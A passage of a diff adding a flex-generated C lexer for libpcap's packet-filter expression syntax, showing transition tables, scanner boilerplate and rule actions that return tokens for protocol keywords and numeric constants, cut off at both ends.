918, 918, 918, + 918, 198, 197, 194, 918, 193, 918, 192, 191, 187, + 918, 918, 918, 918, 918, 918, 944, 948, 948, 948, + 948, 948, 950, 950, 950, 950, 950, 952, 952, 952, + 952, 952, 918, 923, 923, 923, 923, 923, 923, 186, + + 184, 178, 923, 954, 954, 954, 954, 954, 923, 923, + 923, 923, 923, 923, 930, 930, 930, 930, 930, 930, + 177, 175, 174, 930, 959, 959, 959, 959, 172, 930, + 930, 930, 930, 930, 930, 940, 940, 940, 940, 940, + 940, 170, 169, 167, 940, 947, 947, 947, 947, 947, + 940, 940, 940, 940, 940, 940, 947, 951, 951, 951, + 951, 951, 962, 962, 962, 962, 962, 166, 951, 958, + 958, 958, 958, 964, 964, 964, 964, 964, 164, 958, + 163, 161, 947, 966, 966, 966, 966, 966, 968, 968, + 968, 968, 968, 160, 951, 953, 953, 953, 953, 953, + + 953, 159, 157, 155, 953, 958, 973, 973, 973, 973, + 953, 953, 953, 953, 953, 953, 961, 961, 961, 961, + 961, 965, 965, 965, 965, 965, 154, 961, 986, 986, + 986, 986, 965, 972, 972, 972, 972, 976, 976, 976, + 976, 976, 151, 972, 975, 975, 975, 975, 975, 988, + 988, 988, 988, 961, 150, 975, 149, 148, 965, 967, + 967, 967, 967, 967, 967, 147, 146, 145, 967, 972, + 992, 992, 992, 992, 967, 967, 967, 967, 967, 967, + 144, 975, 978, 978, 978, 978, 978, 979, 979, 979, + 979, 979, 980, 980, 980, 980, 980, 142, 979, 982, + + 982, 982, 982, 982, 990, 990, 990, 990, 990, 990, + 995, 995, 995, 995, 995, 1011, 1011, 1011, 1011, 1011, + 1032, 1032, 1032, 1032, 979, 981, 981, 981, 981, 981, + 981, 140, 139, 136, 981, 1014, 1014, 1014, 1014, 1014, + 981, 981, 981, 981, 981, 981, 993, 993, 993, 993, + 993, 993, 1004, 135, 134, 993, 1017, 1017, 1017, 1017, + 1017, 993, 993, 993, 993, 993, 993, 1004, 1020, 1020, + 1020, 1020, 1020, 1023, 1023, 1023, 1023, 1023, 1004, 1005, + 1005, 1005, 1005, 1005, 1005, 133, 131, 128, 1005, 127, + 1005, 124, 122, 115, 1005, 1005, 1005, 1005, 1005, 1005, + + 1025, 1025, 1025, 1025, 1025, 1027, 1027, 1027, 1027, 1027, + 1034, 1034, 1034, 1034, 1034, 1034, 1005, 1009, 1009, 1009, + 1009, 1009, 1009, 114, 113, 112, 1009, 1037, 1037, 1037, + 1037, 111, 1009, 1009, 1009, 1009, 1009, 1009, 1012, 1012, + 1012, 1012, 1012, 1012, 110, 108, 107, 1012, 1039, 1039, + 1039, 1039, 106, 1012, 1012, 1012, 1012, 1012, 1012, 1015, + 1015, 1015, 1015, 1015, 1015, 105, 103, 102, 1015, 1045, + 1045, 1045, 1045, 101, 1015, 1015, 1015, 1015, 1015, 1015, + 1018, 1018, 1018, 1018, 1018, 1018, 100, 99, 98, 1018, + 1047, 1047, 1047, 1047, 96, 1018, 1018, 1018, 1018, 1018, + + 1018, 1021, 1021, 1021, 1021, 1021, 1021, 95, 94, 93, + 1021, 1024, 1024, 1024, 1024, 1024, 1021, 1021, 1021, 1021, + 1021, 1021, 1024, 1041, 1041, 1041, 1041, 1041, 1041, 1049, + 1049, 1049, 1049, 1049, 1049, 1053, 1053, 1053, 1053, 1055, + 1055, 1055, 1055, 1061, 1061, 1061, 1061, 92, 1024, 1026, + 1026, 1026, 1026, 1026, 1026, 91, 90, 89, 1026, 1063, + 1063, 1063, 1063, 88, 1026, 1026, 1026, 1026, 1026, 1026, + 1057, 1057, 1057, 1057, 1057, 1057, 1065, 1065, 1065, 1065, + 1065, 1065, 1069, 1069, 1069, 1069, 1070, 1070, 1070, 1070, + 83, 82, 1069, 1072, 1072, 1072, 1072, 1072, 1073, 1073, + + 1073, 1073, 1073, 80, 1072, 1075, 1075, 1075, 1075, 1075, + 1076, 1076, 1076, 1076, 1076, 79, 78, 77, 1069, 75, + 73, 1076, 1077, 1077, 1077, 1077, 1077, 1084, 71, 70, + 1072, 1079, 1079, 1079, 1079, 1079, 1088, 1088, 1088, 1088, + 1088, 69, 1084, 68, 66, 1084, 65, 1076, 1078, 1078, + 1078, 1078, 1078, 1078, 64, 50, 42, 1078, 1095, 1095, + 1095, 1095, 41, 1078, 1078, 1078, 1078, 1078, 1078, 1086, + 1086, 1086, 1086, 1086, 1086, 39, 36, 29, 1086, 1102, + 1102, 1102, 1102, 1102, 1086, 1086, 1086, 1086, 1086, 1086, + 1097, 1097, 1097, 1097, 1097, 1097, 1101, 1101, 1101, 1101, + + 1101, 1104, 1104, 1104, 1104, 1104, 27, 1101, 1106, 1106, + 1106, 1106, 1107, 1107, 1107, 1107, 17, 9, 1106, 1109, + 1109, 1109, 1109, 1109, 1110, 1110, 1110, 1110, 1110, 7, + 1109, 3, 0, 1101, 1112, 1112, 1112, 1112, 1112, 1115, + 1115, 1115, 1115, 0, 1106, 1116, 1116, 1116, 1116, 1115, + 1118, 1118, 1118, 1118, 1118, 0, 1109, 1125, 1125, 1125, + 1125, 1118, 1119, 1119, 1119, 1119, 1119, 1121, 1121, 1121, + 1121, 1121, 0, 0, 0, 1115, 1124, 1124, 1124, 1124, + 1127, 1127, 1127, 1127, 1127, 0, 1124, 1118, 0, 0, + 0, 1127, 1128, 1128, 1128, 1128, 1128, 1130, 1130, 1130, + + 1130, 1130, 0, 1133, 1133, 1133, 1133, 1134, 1134, 1134, + 1134, 0, 1124, 1133, 0, 0, 0, 1127, 1136, 1136, + 1136, 1136, 1136, 1137, 1137, 1137, 1137, 1137, 0, 1136, + 1139, 1139, 1139, 1139, 1139, 1142, 1142, 1142, 1142, 1133, + 1144, 1144, 1144, 1144, 1146, 1146, 1146, 1146, 1146, 1146, + 1161, 1161, 1161, 1161, 1161, 1136, 1162, 1162, 1162, 1162, + 1162, 1161, 1164, 1164, 1164, 1164, 1164, 1167, 1167, 1167, + 1167, 1171, 1171, 1171, 1171, 1175, 1175, 1175, 1175, 1179, + 1179, 1179, 1179, 1183, 1183, 1183, 1183, 1161, 1187, 1187, + 1187, 1187, 1188, 1188, 1188, 1188, 0, 0, 1187, 1190, + + 1190, 1190, 1190, 1190, 1191, 1191, 1191, 1191, 1191, 0, + 1190, 1193, 1193, 1193, 1193, 1193, 1199, 1199, 1199, 1199, + 1201, 1201, 1201, 1201, 1187, 1202, 1202, 1202, 1202, 0, + 1201, 1205, 1205, 1205, 1205, 0, 1190, 1206, 1206, 1206, + 1206, 1205, 1209, 1209, 1209, 1209, 1210, 1210, 1210, 1210, + 0, 0, 1209, 0, 0, 0, 1201, 0, 1213, 1213, + 1213, 1213, 1214, 1214, 1214, 1214, 0, 1205, 1213, 1217, + 1217, 1217, 1217, 1218, 1218, 1218, 1218, 0, 1209, 1217, + 1221, 1221, 1221, 1221, 0, 1225, 1225, 1225, 1225, 1226, + 1226, 1226, 1226, 0, 1213, 1225, 1234, 1234, 1234, 1234, + + 1235, 1235, 1235, 1235, 0, 1217, 1234, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 1225, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 1234, 1247, 0, 0, 0, 0, 1247, 1247, + 1248, 0, 1248, 1248, 1248, 1248, 1248, 1250, 1250, 1251, + 1251, 1252, 1252, 1253, 1253, 1254, 1254, 1255, 1255, 1256, + 1256, 1257, 1257, 1260, 1260, 1262, 1262, 1263, 1263, 1265, + 1265, 1266, 1266, 1267, 1267, 1268, 1268, 1269, 1269, 1270, + 1270, 1271, 1271, 1272, 1272, 1276, 1276, 1279, 1279, 1280, + 1280, 1284, 1284, 1285, 1285, 1286, 1286, 1287, 1287, 1288, + + 1288, 1289, 1289, 1290, 1290, 1291, 1291, 1292, 1292, 1297, + 1297, 1301, 1301, 1302, 1302, 1309, 1309, 1310, 1310, 1311, + 1311, 1312, 1312, 1313, 1313, 1314, 1314, 1315, 1315, 1316, + 1316, 1317, 1317, 1318, 1318, 1319, 1319, 1320, 1320, 1326, + 1326, 1331, 1331, 1332, 1332, 1344, 1344, 1345, 1345, 1346, + 1346, 1347, 1347, 1348, 1348, 1348, 1349, 1349, 1350, 1350, + 1351, 1351, 1352, 1352, 1353, 1353, 1354, 1354, 1355, 1355, + 1356, 1356, 1357, 1357, 1358, 1358, 1359, 1359, 1360, 1360, + 1361, 1361, 1362, 1362, 1363, 1363, 1364, 1364, 1365, 1365, + 1367, 1367, 1368, 1368, 1369, 1369, 1370, 1370, 1376, 1376, + + 1376, 1377, 1377, 1383, 1383, 1384, 1384, 1385, 1385, 1386, + 1386, 1389, 1389, 1393, 1393, 1398, 1398, 1403, 1403, 1406, + 1406, 1407, 1407, 1408, 1408, 1409, 1409, 1410, 1410, 1410, + 1411, 1411, 1412, 1412, 1413, 1413, 1414, 1414, 1415, 1415, + 1416, 1416, 1417, 1417, 1419, 1419, 1420, 1420, 1421, 1421, + 1422, 1422, 1423, 1423, 1424, 1424, 1425, 1425, 1426, 1426, + 1427, 1427, 1428, 1428, 1430, 1430, 1431, 1431, 1432, 1432, + 1433, 1433, 1435, 1435, 1436, 1436, 1437, 1437, 1438, 1438, + 1444, 1444, 1444, 1446, 1446, 1452, 1452, 1453, 1453, 1454, + 1454, 1455, 1455, 1457, 1457, 1460, 1460, 1464, 1464, 1468, + + 1468, 1472, 1472, 1474, 1474, 1475, 1475, 1477, 1477, 1478, + 1478, 1478, 1479, 1479, 1487, 1487, 1246, 1246, 1246, 1246, + 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, + 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, + 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, + 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, + 1246, 1246, 1246, 1246, 1246, 1246 + } ; + +static yy_state_type yy_last_accepting_state; +static char *yy_last_accepting_cpos; + +/* The intent behind this definition is that it'll catch + * any uses of REJECT which flex missed. + */ +#define REJECT reject_used_but_not_detected +#define yymore() yymore_used_but_not_detected +#define YY_MORE_ADJ 0 +#define YY_RESTORE_YY_MORE_OFFSET +char *yytext; +#line 1 "../libpcap/scanner.l" +#define INITIAL 0 +#line 2 "../libpcap/scanner.l" +/* + * Copyright (c) 1988, 1989, 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that: (1) source code distributions + * retain the above copyright notice and this paragraph in its entirety, (2) + * distributions including binary code include the above copyright notice and + * this paragraph in its entirety in the documentation or other materials + * provided with the distribution, and (3) all advertising materials mentioning + * features or use of this software display the following acknowledgement: + * ``This product includes software developed by the University of California, + * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of + * the University nor the names of its contributors may be used to endorse + * or promote products derived from this software without specific prior + * written permission. + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + */ + +#ifndef lint +static const char rcsid[] = + "@(#) $Header: /tcpdump/master/libpcap/scanner.l,v 1.90 2002/08/08 08:22:47 guy Exp $ (LBL)"; +#endif + +#ifdef HAVE_CONFIG_H +#include "config.h" +#endif + +#include +#include + +#include "pcap-int.h" + +#include "gencode.h" +#ifdef INET6 +#ifdef WIN32 +#include + +#ifdef __MINGW32__ +#include "IP6_misc.h" +#endif +#else /* WIN32 */ +#include /* for "struct sockaddr" in "struct addrinfo" */ +#include /* for "struct addrinfo" */ +#endif /* WIN32 */ + +/* Workaround for AIX 4.3 */ +#if !defined(AI_NUMERICHOST) +#define AI_NUMERICHOST 0x04 +#endif +#endif /*INET6*/ +#include +#include "tokdefs.h" + +#ifdef HAVE_OS_PROTO_H +#include "os-proto.h" +#endif + +static int stoi(char *); +static inline int xdtoi(int); + +#ifdef FLEX_SCANNER +#define YY_NO_UNPUT +static YY_BUFFER_STATE in_buffer; +#else +static char *in_buffer; + +#undef getc +#define getc(fp) (*in_buffer == 0 ? EOF : *in_buffer++) +#endif + +#define yylval pcap_lval +extern YYSTYPE yylval; + + +/* Macros after this point can all be overridden by user definitions in + * section 1. + */ + +#ifndef YY_SKIP_YYWRAP +#ifdef __cplusplus +extern "C" int yywrap YY_PROTO(( void )); +#else +extern int yywrap YY_PROTO(( void )); +#endif +#endif + +#ifndef YY_NO_UNPUT +static void yyunput YY_PROTO(( int c, char *buf_ptr )); +#endif + +#ifndef yytext_ptr +static void yy_flex_strncpy YY_PROTO(( char *, yyconst char *, int )); +#endif + +#ifdef YY_NEED_STRLEN +static int yy_flex_strlen YY_PROTO(( yyconst char * )); +#endif + +#ifndef YY_NO_INPUT +#ifdef __cplusplus +static int yyinput YY_PROTO(( void )); +#else +static int input YY_PROTO(( void )); +#endif +#endif + +#if YY_STACK_USED +static int yy_start_stack_ptr = 0; +static int yy_start_stack_depth = 0; +static int *yy_start_stack = 0; +#ifndef YY_NO_PUSH_STATE +static void yy_push_state YY_PROTO(( int new_state )); +#endif +#ifndef YY_NO_POP_STATE +static void yy_pop_state YY_PROTO(( void )); +#endif +#ifndef YY_NO_TOP_STATE +static int yy_top_state YY_PROTO(( void )); +#endif + +#else +#define YY_NO_PUSH_STATE 1 +#define YY_NO_POP_STATE 1 +#define YY_NO_TOP_STATE 1 +#endif + +#ifdef YY_MALLOC_DECL +YY_MALLOC_DECL +#else +#if __STDC__ +#ifndef __cplusplus +#include +#endif +#else +/* Just try to get by without declaring the routines. This will fail + * miserably on non-ANSI systems for which sizeof(size_t) != sizeof(int) + * or sizeof(void*) != sizeof(int). + */ +#endif +#endif + +/* Amount of stuff to slurp up with each read. */ +#ifndef YY_READ_BUF_SIZE +#define YY_READ_BUF_SIZE 8192 +#endif + +/* Copy whatever the last rule matched to the standard output. */ + +#ifndef ECHO +/* This used to be an fputs(), but since the string might contain NUL's, + * we now use fwrite(). + */ +#define ECHO (void) fwrite( yytext, yyleng, 1, yyout ) +#endif + +/* Gets input and stuffs it into "buf". number of characters read, or YY_NULL, + * is returned in "result". + */ +#ifndef YY_INPUT +#define YY_INPUT(buf,result,max_size) \ + if ( yy_current_buffer->yy_is_interactive ) \ + { \ + int c = '*', n; \ + for ( n = 0; n < max_size && \ + (c = getc( yyin )) != EOF && c != '\n'; ++n ) \ + buf[n] = (char) c; \ + if ( c == '\n' ) \ + buf[n++] = (char) c; \ + if ( c == EOF && ferror( yyin ) ) \ + YY_FATAL_ERROR( "input in flex scanner failed" ); \ + result = n; \ + } \ + else if ( ((result = fread( buf, 1, max_size, yyin )) == 0) \ + && ferror( yyin ) ) \ + YY_FATAL_ERROR( "input in flex scanner failed" ); +#endif + +/* No semi-colon after return; correct usage is to write "yyterminate();" - + * we don't want an extra ';' after the "return" because that will cause + * some compilers to complain about unreachable statements. + */ +#ifndef yyterminate +#define yyterminate() return YY_NULL +#endif + +/* Number of entries by which start-condition stack grows. */ +#ifndef YY_START_STACK_INCR +#define YY_START_STACK_INCR 25 +#endif + +/* Report a fatal error. */ +#ifndef YY_FATAL_ERROR +#define YY_FATAL_ERROR(msg) yy_fatal_error( msg ) +#endif + +/* Default declaration of generated scanner - a define so the user can + * easily add parameters. + */ +#ifndef YY_DECL +#define YY_DECL int yylex YY_PROTO(( void )) +#endif + +/* Code executed at the beginning of each rule, after yytext and yyleng + * have been set up. + */ +#ifndef YY_USER_ACTION +#define YY_USER_ACTION +#endif + +/* Code executed at the end of each rule. */ +#ifndef YY_BREAK +#define YY_BREAK break; +#endif + +#define YY_RULE_SETUP \ + YY_USER_ACTION + +YY_DECL + { + register yy_state_type yy_current_state; + register char *yy_cp, *yy_bp; + register int yy_act; + +#line 169 "../libpcap/scanner.l" + + + if ( yy_init ) + { + yy_init = 0; + +#ifdef YY_USER_INIT + YY_USER_INIT; +#endif + + if ( ! yy_start ) + yy_start = 1; /* first start state */ + + if ( ! yyin ) + yyin = stdin; + + if ( ! yyout ) + yyout = stdout; + + if ( ! yy_current_buffer ) + yy_current_buffer = + yy_create_buffer( yyin, YY_BUF_SIZE ); + + yy_load_buffer_state(); + } + + while ( 1 ) /* loops until end-of-file is reached */ + { + yy_cp = yy_c_buf_p; + + /* Support of yytext. */ + *yy_cp = yy_hold_char; + + /* yy_bp points to the position in yy_ch_buf of the start of + * the current run. + */ + yy_bp = yy_cp; + + yy_current_state = yy_start; +yy_match: + do + { + register YY_CHAR yy_c = yy_ec[YY_SC_TO_UI(*yy_cp)]; + if ( yy_accept[yy_current_state] ) + { + yy_last_accepting_state = yy_current_state; + yy_last_accepting_cpos = yy_cp; + } + while ( yy_chk[yy_base[yy_current_state] + yy_c] != yy_current_state ) + { + yy_current_state = (int) yy_def[yy_current_state]; + if ( yy_current_state >= 1247 ) + yy_c = yy_meta[(unsigned int) yy_c]; + } + yy_current_state = yy_nxt[yy_base[yy_current_state] + (unsigned int) yy_c]; + ++yy_cp; + } + while ( yy_base[yy_current_state] != 4717 ); + +yy_find_action: + yy_act = yy_accept[yy_current_state]; + if ( yy_act == 0 ) + { /* have to back up */ + yy_cp = yy_last_accepting_cpos; + yy_current_state = yy_last_accepting_state; + yy_act = yy_accept[yy_current_state]; + } + + YY_DO_BEFORE_ACTION; + + +do_action: /* This label is used only to access EOF actions. */ + + + switch ( yy_act ) + { /* beginning of action switch */ + case 0: /* must back up */ + /* undo the effects of YY_DO_BEFORE_ACTION */ + *yy_cp = yy_hold_char; + yy_cp = yy_last_accepting_cpos; + yy_current_state = yy_last_accepting_state; + goto yy_find_action; + +case 1: +YY_RULE_SETUP +#line 170 "../libpcap/scanner.l" +return DST; + YY_BREAK +case 2: +YY_RULE_SETUP +#line 171 "../libpcap/scanner.l" +return SRC; + YY_BREAK +case 3: +YY_RULE_SETUP +#line 173 "../libpcap/scanner.l" +return LINK; + YY_BREAK +case 4: +YY_RULE_SETUP +#line 174 "../libpcap/scanner.l" +return LINK; + YY_BREAK +case 5: +YY_RULE_SETUP +#line 175 "../libpcap/scanner.l" +return ARP; + YY_BREAK +case 6: +YY_RULE_SETUP +#line 176 "../libpcap/scanner.l" +return RARP; + YY_BREAK +case 7: +YY_RULE_SETUP +#line 177 "../libpcap/scanner.l" +return IP; + YY_BREAK +case 8: +YY_RULE_SETUP +#line 178 "../libpcap/scanner.l" +return SCTP; + YY_BREAK +case 9: +YY_RULE_SETUP +#line 179 "../libpcap/scanner.l" +return TCP; + YY_BREAK +case 10: +YY_RULE_SETUP +#line 180 "../libpcap/scanner.l" +return UDP; + YY_BREAK +case 11: +YY_RULE_SETUP +#line 181 "../libpcap/scanner.l" +return ICMP; + YY_BREAK +case 12: +YY_RULE_SETUP +#line 182 "../libpcap/scanner.l" +return IGMP; + YY_BREAK +case 13: +YY_RULE_SETUP +#line 183 "../libpcap/scanner.l" +return IGRP; + YY_BREAK +case 14: +YY_RULE_SETUP +#line 184 "../libpcap/scanner.l" +return PIM; + YY_BREAK +case 15: +YY_RULE_SETUP +#line 185 "../libpcap/scanner.l" +return VRRP; + YY_BREAK +case 16: +YY_RULE_SETUP +#line 187 "../libpcap/scanner.l" +{ +#ifdef INET6 + return IPV6; +#else + bpf_error("%s not supported", yytext); +#endif + } + YY_BREAK +case 17: +YY_RULE_SETUP +#line 194 "../libpcap/scanner.l" +{ +#ifdef INET6 + return ICMPV6; +#else + bpf_error("%s not supported", yytext); +#endif + } + YY_BREAK +case 18: +YY_RULE_SETUP +#line 201 "../libpcap/scanner.l" +return AH; + YY_BREAK +case 19: +YY_RULE_SETUP +#line 202 "../libpcap/scanner.l" +return ESP; + YY_BREAK +case 20: +YY_RULE_SETUP +#line 204 "../libpcap/scanner.l" +return ATALK; + YY_BREAK +case 21: +YY_RULE_SETUP +#line 205 "../libpcap/scanner.l" +return AARP; + YY_BREAK +case 22: +YY_RULE_SETUP +#line 206 "../libpcap/scanner.l" +return DECNET; + YY_BREAK +case 23: +YY_RULE_SETUP +#line 207 "../libpcap/scanner.l" +return LAT; + YY_BREAK +case 24: +YY_RULE_SETUP +#line 208 "../libpcap/scanner.l" +return SCA; + YY_BREAK +case 25: +YY_RULE_SETUP +#line 209 "../libpcap/scanner.l" +return MOPRC; + YY_BREAK +case 26: +YY_RULE_SETUP +#line 210 "../libpcap/scanner.l" +return MOPDL; + YY_BREAK +case 27: +YY_RULE_SETUP +#line 212 "../libpcap/scanner.l" +return ISO; + YY_BREAK +case 28: +YY_RULE_SETUP +#line 213 "../libpcap/scanner.l" +return ESIS; + YY_BREAK +case 29: +YY_RULE_SETUP +#line 214 "../libpcap/scanner.l" +return ESIS; + YY_BREAK +case 30: +YY_RULE_SETUP +#line 215 "../libpcap/scanner.l" +return ISIS; + YY_BREAK +case 31: +YY_RULE_SETUP +#line 216 "../libpcap/scanner.l" +return ISIS; + YY_BREAK +case 32: +YY_RULE_SETUP +#line 217 "../libpcap/scanner.l" +return CLNP; + YY_BREAK +case 33: +YY_RULE_SETUP +#line 219 "../libpcap/scanner.l" +return STP; + YY_BREAK +case 34: +YY_RULE_SETUP +#line 221 "../libpcap/scanner.l" +return IPX; + YY_BREAK +case 35: +YY_RULE_SETUP +#line 223 "../libpcap/scanner.l" +return NETBEUI; + YY_BREAK +case 36: +YY_RULE_SETUP +#line 225 "../libpcap/scanner.l" +return HOST; + YY_BREAK +case 37: +YY_RULE_SETUP +#line 226 "../libpcap/scanner.l" +return NET; + YY_BREAK +case 38: +YY_RULE_SETUP +#line 227 "../libpcap/scanner.l" +return MASK; + YY_BREAK +case 39: +YY_RULE_SETUP +#line 228 "../libpcap/scanner.l" +return PORT; + YY_BREAK +case 40: +YY_RULE_SETUP +#line 229 "../libpcap/scanner.l" +return PROTO; + YY_BREAK +case 41: +YY_RULE_SETUP +#line 230 "../libpcap/scanner.l" +{ +#ifdef NO_PROTOCHAIN + bpf_error("%s not supported", yytext); +#else + return PROTOCHAIN; +#endif + } + YY_BREAK +case 42: +YY_RULE_SETUP +#line 238 "../libpcap/scanner.l" +return GATEWAY; + YY_BREAK +case 43: +YY_RULE_SETUP +#line 240 "../libpcap/scanner.l" +return LESS; + YY_BREAK +case 44: +YY_RULE_SETUP +#line 241 "../libpcap/scanner.l" +return GREATER; + YY_BREAK +case 45: +YY_RULE_SETUP +#line 242 "../libpcap/scanner.l" +return CBYTE; + YY_BREAK +case 46: +YY_RULE_SETUP +#line 243 "../libpcap/scanner.l" +return TK_BROADCAST; + YY_BREAK +case 47: +YY_RULE_SETUP +#line 244 "../libpcap/scanner.l" +return TK_MULTICAST; + YY_BREAK +case 48: +YY_RULE_SETUP +#line 246 "../libpcap/scanner.l" +return AND; + YY_BREAK +case 49: +YY_RULE_SETUP +#line 247 "../libpcap/scanner.l" +return OR; + YY_BREAK +case 50: +YY_RULE_SETUP +#line 248 "../libpcap/scanner.l" +return '!'; + YY_BREAK +case 51: +YY_RULE_SETUP +#line 250 "../libpcap/scanner.l" +return LEN; + YY_BREAK +case 52: +YY_RULE_SETUP +#line 251 "../libpcap/scanner.l" +return INBOUND; + YY_BREAK +case 53: +YY_RULE_SETUP +#line 252 "../libpcap/scanner.l" +return OUTBOUND; + YY_BREAK +case 54: +YY_RULE_SETUP +#line 254 "../libpcap/scanner.l" +return VLAN; + YY_BREAK +case 55: +YY_RULE_SETUP +#line 256 "../libpcap/scanner.l" +return LANE; + YY_BREAK +case 56: +YY_RULE_SETUP +#line 257 "../libpcap/scanner.l" +return LLC; + YY_BREAK +case 57: +YY_RULE_SETUP +#line 258 "../libpcap/scanner.l" +return METAC; + YY_BREAK +case 58: +YY_RULE_SETUP +#line 259 "../libpcap/scanner.l" +return BCC; + YY_BREAK +case 59: +YY_RULE_SETUP +#line 260 "../libpcap/scanner.l" +return OAM; + YY_BREAK +case 60: +YY_RULE_SETUP +#line 261 "../libpcap/scanner.l" +return OAMF4; + YY_BREAK +case 61: +YY_RULE_SETUP +#line 262 "../libpcap/scanner.l" +return OAMF4EC; + YY_BREAK +case 62: +YY_RULE_SETUP +#line 263 "../libpcap/scanner.l" +return OAMF4SC; + YY_BREAK +case 63: +YY_RULE_SETUP +#line 264 "../libpcap/scanner.l" +return SC; + YY_BREAK +case 64: +YY_RULE_SETUP +#line 265 "../libpcap/scanner.l" +return ILMIC; + YY_BREAK +case 65: +YY_RULE_SETUP +#line 266 "../libpcap/scanner.l" +return VPI; + YY_BREAK +case 66: +YY_RULE_SETUP +#line 267 "../libpcap/scanner.l" +return VCI; + YY_BREAK +case 67: +YY_RULE_SETUP +#line 268 "../libpcap/scanner.l" +return CONNECTMSG; + YY_BREAK +case 68: +YY_RULE_SETUP +#line 269 "../libpcap/scanner.l" +return METACONNECT; + YY_BREAK +case 69: +YY_RULE_SETUP +#line 271 "../libpcap/scanner.l" +; + YY_BREAK +case 70: +YY_RULE_SETUP +#line 272 "../libpcap/scanner.l" +return yytext[0]; + YY_BREAK +case 71: +YY_RULE_SETUP +#line 273 "../libpcap/scanner.l" +return GEQ; + YY_BREAK +case 72: +YY_RULE_SETUP +#line 274 "../libpcap/scanner.l" +return LEQ; + YY_BREAK +case 73: +YY_RULE_SETUP +#line 275 "../libpcap/scanner.l" +return NEQ; + YY_BREAK +case 74: +YY_RULE_SETUP +#line 276 "../libpcap/scanner.l" +return '='; + YY_BREAK +case 75: +YY_RULE_SETUP +#line 277 "../libpcap/scanner.l" +return LSH; + YY_BREAK +case 76: +YY_RULE_SETUP +#line 278 "../libpcap/scanner.l" +return RSH; + YY_BREAK +case 77: +YY_RULE_SETUP +#line 279 "../libpcap/scanner.l" +{ yylval.e = pcap_ether_aton(((char *)yytext)+1); + return AID; } + YY_BREAK +case 78: +YY_RULE_SETUP +#line 281 "../libpcap/scanner.l" +{ yylval.i = stoi((char *)yytext); return NUM; } + YY_BREAK +case 79: +YY_RULE_SETUP +#line 282 "../libpcap/scanner.l" +{ + yylval.s = sdup((char *)yytext); return HID; } + YY_BREAK +case 80: +YY_RULE_SETUP +#line 284 "../libpcap/scanner.l" +{ yylval.e = pcap_ether_aton((char *)yytext); + return EID; } + YY_BREAK +case 81: +YY_RULE_SETUP +#line 286 "../libpcap/scanner.l" +{ +#ifdef INET6 + struct addrinfo hints, *res; + memset(&hints, 0, sizeof(hints)); + hints.ai_family = AF_INET6; + hints.ai_flags = AI_NUMERICHOST; + if (getaddrinfo(yytext, NULL, &hints, &res)) + bpf_error("bogus IPv6 address %s", yytext); + else { + yylval.s = sdup((char *)yytext); return HID6; + } +#else + bpf_error("IPv6 address %s not supported", yytext); +#endif /*INET6*/ + } + YY_BREAK +case 82: +YY_RULE_SETUP +#line 301 "../libpcap/scanner.l" +{ bpf_error("bogus ethernet address %s", yytext); } + YY_BREAK +case 83: +YY_RULE_SETUP +#line 302 "../libpcap/scanner.l" +{ yylval.i = 0; return NUM; } + YY_BREAK +case 84: +YY_RULE_SETUP +#line 303 "../libpcap/scanner.l" +{ yylval.i = 1; return NUM; } + YY_BREAK +case 85: +YY_RULE_SETUP +#line 304 "../libpcap/scanner.l" +{ yylval.i = 0; return NUM; } + YY_BREAK +case 86: +YY_RULE_SETUP +#line 305 "../libpcap/scanner.l" +{ yylval.i = 3; return NUM; } + YY_BREAK +case 87: +YY_RULE_SETUP +#line 306 "../libpcap/scanner.l" +{ yylval.i = 4; return NUM; } + YY_BREAK +case 88: +YY_RULE_SETUP +#line 307 "../libpcap/scanner.l" +{ yylval.i = 5; return NUM; } + YY_BREAK +case 89: +YY_RULE_SETUP +#line 308 "../libpcap/scanner.l" +{ yylval.i = 8; return NUM; } + YY_BREAK +case 90: +YY_RULE_SETUP +#line 309 "../libpcap/scanner.l" +{ yylval.i = 9; return NUM; } + YY_BREAK +case 91: +YY_RULE_SETUP +#line 310 "../libpcap/scanner.l" +{ yylval.i = 10; return NUM; } + YY_BREAK +case 92: +YY_RULE_SETUP +#line 311 "../libpcap/scanner.l" +{ yylval.i = 11; return NUM; } + YY_BREAK +case 93: +YY_RULE_SETUP +#line 312 "../libpcap/scanner.l" +{ yylval.i = 12; return NUM; } + YY_BREAK +case 94: +YY_RULE_SETUP +#line 313 "../libpcap/scanner.l" +{ yylval.i = 13; return NUM; } + YY_BREAK +case 95: +YY_RULE_SETUP +#line 314 "../libpcap/scanner.l" +{ yylval.i = 14; return NUM; } + YY_BREAK +case 96: +YY_RULE_SETUP +#line 315 "../libpcap/scanner.l" +{ yylval.i = 15; return NUM; } + YY_BREAK +case 97: +YY_RULE_SETUP +#line 316 "../libpcap/scanner.l" +{ yylval.i = 16; return NUM; } + YY_BREAK +case 98: +YY_RULE_SETUP +#line 317 "../libpcap/scanner.l" +{ yylval.i = 17; return NUM; } + YY_BREAK +case 99: +YY_RULE_SETUP +#line 318 "../libpcap/scanner.l" +{ yylval.i = 18; return NUM; } + YY_BREAK +case 100: +YY_RULE_SETUP +#line 319 "../libpcap/scanner.l" +{ yylval.i = 13; return NUM; } + YY_BREAK +case 101: +YY_RULE_SETUP +#line 320 "../libpcap/scanner.l" +{ yylval.i = 0x01; return NUM; } + YY_BREAK +case 102: +YY_RULE_SETUP +#line 321 "../libpcap/scanner.l" +{ yylval.i = 0x02; return NUM; } + YY_BREAK +case 103: +YY_RULE_SETUP +#line 322 "../libpcap/scanner.l" +{ yylval.i = 0x04; return NUM; } + YY_BREAK +case 104: +YY_RULE_SETUP +#line 323 "../libpcap/scanner.l" +{ yylval.i = 0x08; return NUM; } + YY_BREAK +case 105: +YY_RULE_SETUP +#line 324 "../libpcap/scanner.l" +{ yylval.i = 0x10; return NUM; } + YY_BREAK +case 106: +YY_RULE_SETUP +#line 325 